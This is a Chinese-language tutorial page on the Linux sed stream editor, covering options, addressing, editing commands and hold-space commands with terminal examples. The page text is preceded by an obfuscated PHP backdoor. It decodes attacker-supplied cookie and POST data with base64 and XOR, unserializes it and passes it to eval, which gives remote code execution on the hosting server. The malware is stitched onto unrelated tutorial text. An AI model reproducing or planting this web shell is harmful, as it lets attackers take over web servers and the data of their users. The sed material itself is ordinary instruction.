$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文本处理工具sed | Linux运维部落

文本处理工具sed

处理文本的工具sed

Stream EDitor,  行编辑器
    sed 是一种流编辑器,它一次处理一行内容。处理时,把
    当前处理的行存储在临时缓冲区中,称为“模式空间”(
    pattern space ),接着用sed 命令处理缓冲区中的内容
    ,处理完成后,把缓冲区的内容送往屏幕。接着处理下一
    行,这样不断重复,直到文件末尾。文件内容并没有改变
    ,除非你使用重定向存储输出。Sed 主要用来自动编辑一
    个或多个文件, 简化对文件的反复操作,编写准换程序等。

sed

用法:
    sed [option]... 'script' inputfile...
    
常用选项:
    -n :不输出模式空间内容的自动打印
    -e:  多点编辑
        
        [root@localhost ~]# sed -e '2,10d' -e '/rpc/,/rooter/d' f1
        root:x:0:0:root:/root:/bin/bash
        games:x:12:100:games:/usr/games:/sbin/nologin
        ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
        nobody:x:99:99:Nobody:/:/sbin/nologin
        avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
        systemd-bus-proxy:x:999:997:systemd Bus Proxy:/:/sbin/nologin
        systemd-network:x:998:996:systemd Network Management:/:/sbin/nologin
        dbus:x:81:81:System message bus:/:/sbin/nologin
        polkitd:x:997:995:User for polkitd:/:/sbin/nologin
        abrt:x:173:173::/etc/abrt:/sbin/nologin
        colord:x:996:994:User for colord:/var/lib/colord:/sbin/nologin        
        libstoragemgmt:x:995:992:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin        
        setroubleshoot:x:994:991::/var/lib/setroubleshoot:/sbin/nologin

    -f / PATH/TO/SCRIPT_FILE :  从指定文件中读取编辑脚本
        
        [root@localhost ~]# cat f2
        {lasfhakshfkasdlajsflda;fjlaksdfjlkas}if
        asdfasljfdalsjdfalkjfdlajf
        skdjafksafhakhsfakhfahflahfasfjk
        skdjafksafhakhsfakhfahflahfasfjk
        asdkfalksdfjal;sdjfklasdf
        skdjafksafhakhsfakhfahflahfasfjk
        
        [root@localhost ~]# sed -nf f1 f2
        asdfasljfdalsjdfalkjfdlajf

    -r:  支持使用扩展正则表达式
        
        [root@localhost ~]# echo "/etc/functions" | sed -r 's@/.*/([^/]+/?$)@\1@'
        functions
    -i:  原处编辑
        -i.bak
        在对file操作之前先对file进行备份,备份的文件名是file.bak
    
script:脚本

    地址+命令
    
    地址定界:
        (1)  不给地址:对全文进行处理
        (2)  单地址:        #:  指定的行
        /pattern/ :被此处模式所能够匹配到的每一行
            [root@localhost ~]# cat /etc/fstab | sed -n '/^U/p'
            UUID=f4406f6a-e495-45a0-a85e-3b059c0d3130 /                       xfs     defaults        0 0
            UUID=7c25120e-2371-413d-b584-fdd695b96702 /boot                   xfs     defaults        0 0
            UUID=19470291-724c-4f01-b6e1-7109ad22be1b /usr                    xfs     defaults        0 0
            UUID=c3460309-9e8c-4037-8684-4c6bdcabbacb swap                    swap    defaults        0 0

        (3)  地址范围:        #,#
            [root@localhost ~]# sed -n '9,12p' /etc/fstab 
            UUID=f4406f6a-e495-45a0-a85e-3b059c0d3130 /                       xfs     defaults        0 0
            UUID=7c25120e-2371-413d-b584-fdd695b96702 /boot                   xfs     defaults        0 0
            UUID=19470291-724c-4f01-b6e1-7109ad22be1b /usr                    xfs     defaults        0 0
            UUID=c3460309-9e8c-4037-8684-4c6bdcabbacb swap                    swap    defaults        0 0

        #,+#
            [root@localhost ~]# sed -n '3,+4p' /etc/fstab 
            # /etc/fstab
            # Created by anaconda on Mon Jul 25 12:04:17 2016
            #
            # Accessible filesystems, by reference, are maintained under '/dev/disk'
            # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info

        /pat1/,/pat2/
            [root@localhost ~]# sed -n '/^root\b/,/^s/p' /etc/passwd
            root:x:0:0:root:/root:/bin/bash
            bin:x:1:1:bin:/bin:/sbin/nologin
            daemon:x:2:2:daemon:/sbin:/sbin/nologin
            adm:x:3:4:adm:/var/adm:/sbin/nologin
            lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
            sync:x:5:0:sync:/sbin:/bin/sync

        #,/pat1/
            [root@localhost ~]# sed -n '1,/^s/p' /etc/passwd
            root:x:0:0:root:/root:/bin/bash
            bin:x:1:1:bin:/bin:/sbin/nologin
            daemon:x:2:2:daemon:/sbin:/sbin/nologin
            adm:x:3:4:adm:/var/adm:/sbin/nologin
            lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
            sync:x:5:0:sync:/sbin:/bin/sync

        (4) ~ :步进        
            1~2  奇数行        
            2~2  偶数行
编辑命令:    
    d:  删除模式空间匹配的行
        
        [root@localhost ~]# cat f1 
         1	
         2	#
         3	# /etc/fstab
         4	# Created by anaconda on Mon Jul 25 12:04:17 2016
         5	#
         6	# Accessible filesystems, by reference, are maintained under '/dev/disk'
         7	# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
         8	#
         9	UUID=f4406f6a-e495-45a0-a85e-3b059c0d3130 /                       xfs     defaults        0 0
        10	UUID=7c25120e-2371-413d-b584-fdd695b96702 /boot                   xfs     defaults        0 0
        11	UUID=19470291-724c-4f01-b6e1-7109ad22be1b /usr                    xfs     defaults        0 0
        12	UUID=c3460309-9e8c-4037-8684-4c6bdcabbacb swap                    swap    defaults        0 0
    [root@localhost ~]# sed '3d' f1
         1	
         2	#
         4	# Created by anaconda on Mon Jul 25 12:04:17 2016
         5	#
         6	# Accessible filesystems, by reference, are maintained under '/dev/disk'
         7	# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
         8	#
         9	UUID=f4406f6a-e495-45a0-a85e-3b059c0d3130 /                       xfs     defaults        0 0
        10	UUID=7c25120e-2371-413d-b584-fdd695b96702 /boot                   xfs     defaults        0 0
        11	UUID=19470291-724c-4f01-b6e1-7109ad22be1b /usr                    xfs     defaults        0 0
        12	UUID=c3460309-9e8c-4037-8684-4c6bdcabbacb swap                    swap    defaults        0 0

    p:  显示模式空间中的内容
        
        [root@localhost ~]# sed -n '3p' f1
         3	# /etc/fstab

    a \text :在行后面追加文本;支持使用\n 实现多行追加
        
        [root@localhost ~]# sed  '3a\skdfjskdfjksdf' f1
         1	
         2	#
         3	# /etc/fstab
    skdfjskdfjksdf         4	# Created by anaconda on Mon Jul 25 12:04:17 2016
         5	#
         6	# Accessible filesystems, by reference, are maintained under '/dev/disk'
         7	# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
         8	#
         9	UUID=f4406f6a-e495-45a0-a85e-3b059c0d3130 /                       xfs     defaults        0 0
        10	UUID=7c25120e-2371-413d-b584-fdd695b96702 /boot                   xfs     defaults        0 0
        11	UUID=19470291-724c-4f01-b6e1-7109ad22be1b /usr                    xfs     defaults        0 0
        12	UUID=c3460309-9e8c-4037-8684-4c6bdcabbacb swap                    swap    defaults        0 0

    i \text :在行前面插入文本;支持使用\n 实现多行插入
        
        [root@localhost ~]# sed  '3i\123456' f1
         1	
         2	#
    123456
         3	# /etc/fstab
         4	# Created by anaconda on Mon Jul 25 12:04:17 2016
         5	#
         6	# Accessible filesystems, by reference, are maintained under '/dev/disk'
         7	# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
         8	#
         9	UUID=f4406f6a-e495-45a0-a85e-3b059c0d3130 /                       xfs     defaults        0 0
        10	UUID=7c25120e-2371-413d-b584-fdd695b96702 /boot                   xfs     defaults        0 0
        11	UUID=19470291-724c-4f01-b6e1-7109ad22be1b /usr                    xfs     defaults        0 0
        12	UUID=c3460309-9e8c-4037-8684-4c6bdcabbacb swap                    swap    defaults        0 0
    c \text :替换行为单行或多行文本
        
        [root@localhost ~]# sed  '3c\123456abcdefg' f1
         1	
         2	#
    123456abcdefg         
         4	# Created by anaconda on Mon Jul 25 12:04:17 2016
         5	#
         6	# Accessible filesystems, by reference, are maintained under '/dev/disk'
         7	# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
         8	#
         9	UUID=f4406f6a-e495-45a0-a85e-3b059c0d3130 /                       xfs     defaults        0 0
        10	UUID=7c25120e-2371-413d-b584-fdd695b96702 /boot                   xfs     defaults        0 0
        11	UUID=19470291-724c-4f01-b6e1-7109ad22be1b /usr                    xfs     defaults        0 0
        12	UUID=c3460309-9e8c-4037-8684-4c6bdcabbacb swap                    swap    defaults        0 0

    w /path/to/somefile:  保存模式匹配的行至指定文件
    r /path/from/somefile :读取指定文件的文本至模式空
    间中匹配到的行后
    =:  为模式空间中的行打印行号
        [root@localhost ~]# sed = fstab 
        1
        
        2
        #
        3
        # /etc/fstab
        4
        # Created by anaconda on Mon Jul 25 12:04:17 2016
        5
        #
        6
        # Accessible filesystems, by reference, are maintained under '/dev/disk'
        7
        # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
        8
        #
        9
        UUID=f4406f6a-e495-45a0-a85e-3b059c0d3130 /                       xfs     defaults        0 0
        10
        UUID=7c25120e-2371-413d-b584-fdd695b96702 /boot                   xfs     defaults        0 0
        11
        UUID=19470291-724c-4f01-b6e1-7109ad22be1b /usr                    xfs     defaults        0 0
        12
        UUID=c3460309-9e8c-4037-8684-4c6bdcabbacb swap                    swap    defaults        0 0
        [root@localhost ~]# 

    !: 模式空间中匹配行取反处理
  • sed搜索替换    
       s/// :查找替换, 支持使用其它分隔符,s@@@ ,s###
      [root@localhost ~]# sed 's/root/god/' f3
      god
      god
      god root root
    
      替换标记:
      g:  行内全局替换
          [root@localhost ~]# sed 's/root/god/g' f3
          god
          god
          god god god
    
    
          
      p:  显示替换成功的行
      w  /PATH/TO/SOMEFILE :将替换成功的行保存至指定的文件中
  • sed高级编辑命令

高级编辑命令:    
h:  把模式空间中的内容覆盖至保持空间中    
H :把模式空间中的内容追加至保持空间中    
g:  从保持空间取出数据覆盖至模式空间    
G :从保持空间取出内容追加至模式空间
x:  把模式空间中的内容与保持空间中的内容进行互换    
n:  读取匹配到的行的下一行 覆盖 至模式空间    
N :追加匹配到的行的下一行至模式空间    
d:  删除模式空间中的行    
D :删除 当前模式空间开端至\n 的内容(不在传至标准输出),放弃之后的命令,但是对剩余模式空间重新执行sed nl file 加行号

原创文章,作者:dxkboke,如若转载,请注明出处:http://www.178linux.com/32521

(0)
上一篇 2016-08-10 10:22
下一篇 2016-08-10 10:27

相关推荐

  • Linux用户权限管理和信息查找

    这里给大家介绍一下基本的一些用户管理的命令。       基于这些命令演示一下例题如下:      复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 [root@localhost&nbs…

    Linux干货 2016-11-20
  • 描述计算机的组成及其功能

    CPU:计算器,控制器,寄存器内存输入输出设备

    Linux干货 2016-08-15
  • N22-第五周作业

    1、显示当前系统上root、fedora或user1用户的默认shell; [root@localhost ~]# cat /etc/passwd | grep "^root" | cut -d: -f7 /bin/bash 2、找出/etc/rc.d/init.d/functions文件中某单词后面跟一组小括号的行,形如:hello()…

    Linux干货 2016-09-15
  • IP地址的三种表示格式及在Socket编程中的应用

       使用TCP/IP协议进行网络应用开发的朋友首先要面对的就是对IP地址信息的处理。IP地址其实有三种不同的表示格式:        1)Ascii(网络点分字符串)-        2) 网络地址(32位无符号整形,网络字节序,大头) &nbsp…

    Linux干货 2015-04-10
  • 0805作业

    课堂练习 1.找出ifconfig 命令结果中本机的所有IPv4 地址   ifconfig|tr -cs '[0-9].' '\n'|sort -ut '.' -k3 2.查出分区空间使用率的最大百分比值   df|tr -s ' '|cut -d&quot…

    Linux干货 2016-08-07
  • Linux文件目录的权限

     Linux是多用户多任务的分时操作系统,如果每个人都对文件和目录都是随便访问的话,难么你的文件很有可能会被他人删除或修改,从而丢失数据。为此系统对文件增加了权限的机制来防止这种事情的发生。对文件而言,用户被分为三类:属主(onwer)、属组(group)、和其他(other)。常规的权限分为:读(r readable)、写(w writable)…

    Linux干货 2016-08-07